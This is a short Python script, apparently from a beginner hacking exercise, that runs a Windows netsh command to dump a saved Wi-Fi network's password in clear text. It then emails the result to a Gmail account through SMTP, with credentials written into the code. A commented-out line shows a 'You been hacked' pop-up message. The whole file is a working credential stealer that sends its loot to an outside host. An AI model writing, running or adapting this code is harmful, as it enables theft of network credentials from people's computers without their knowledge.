#!/usr/bin/env python

import subprocess, smtplib


def send_mail(email,password,message):
    server = smtplib.SMTP("smtp.gmail.com", 587) # (3)
    server.starttls() #(4)
    server.login(email,password) #(5)
    server.sendmail(email,email, message)  #(6)
    server.quit()

# command = "%SystemRoot\Sysnative\msg.exe * You been hacked" -> change 1
command = "netsh wlan showprofile [network name] key=clear"
# subprocess.Popen(command, shell=True) -> change 2
result = subprocess.check_output(command, shell=True)  # execute the command and return it results into var result
send_mail("raycoco404@gmail.com","abc1234", result)






# smtplib = library to sent email
# send_mail function has 3 argument( email address,password, message)
# (3) create SMTP server instance
# (4) initiate tls connection
# (5) login to our email so we can sent email, parameter, email and pasword on the send_mail function
# (6) send the email , server.sendmail(from, to, message)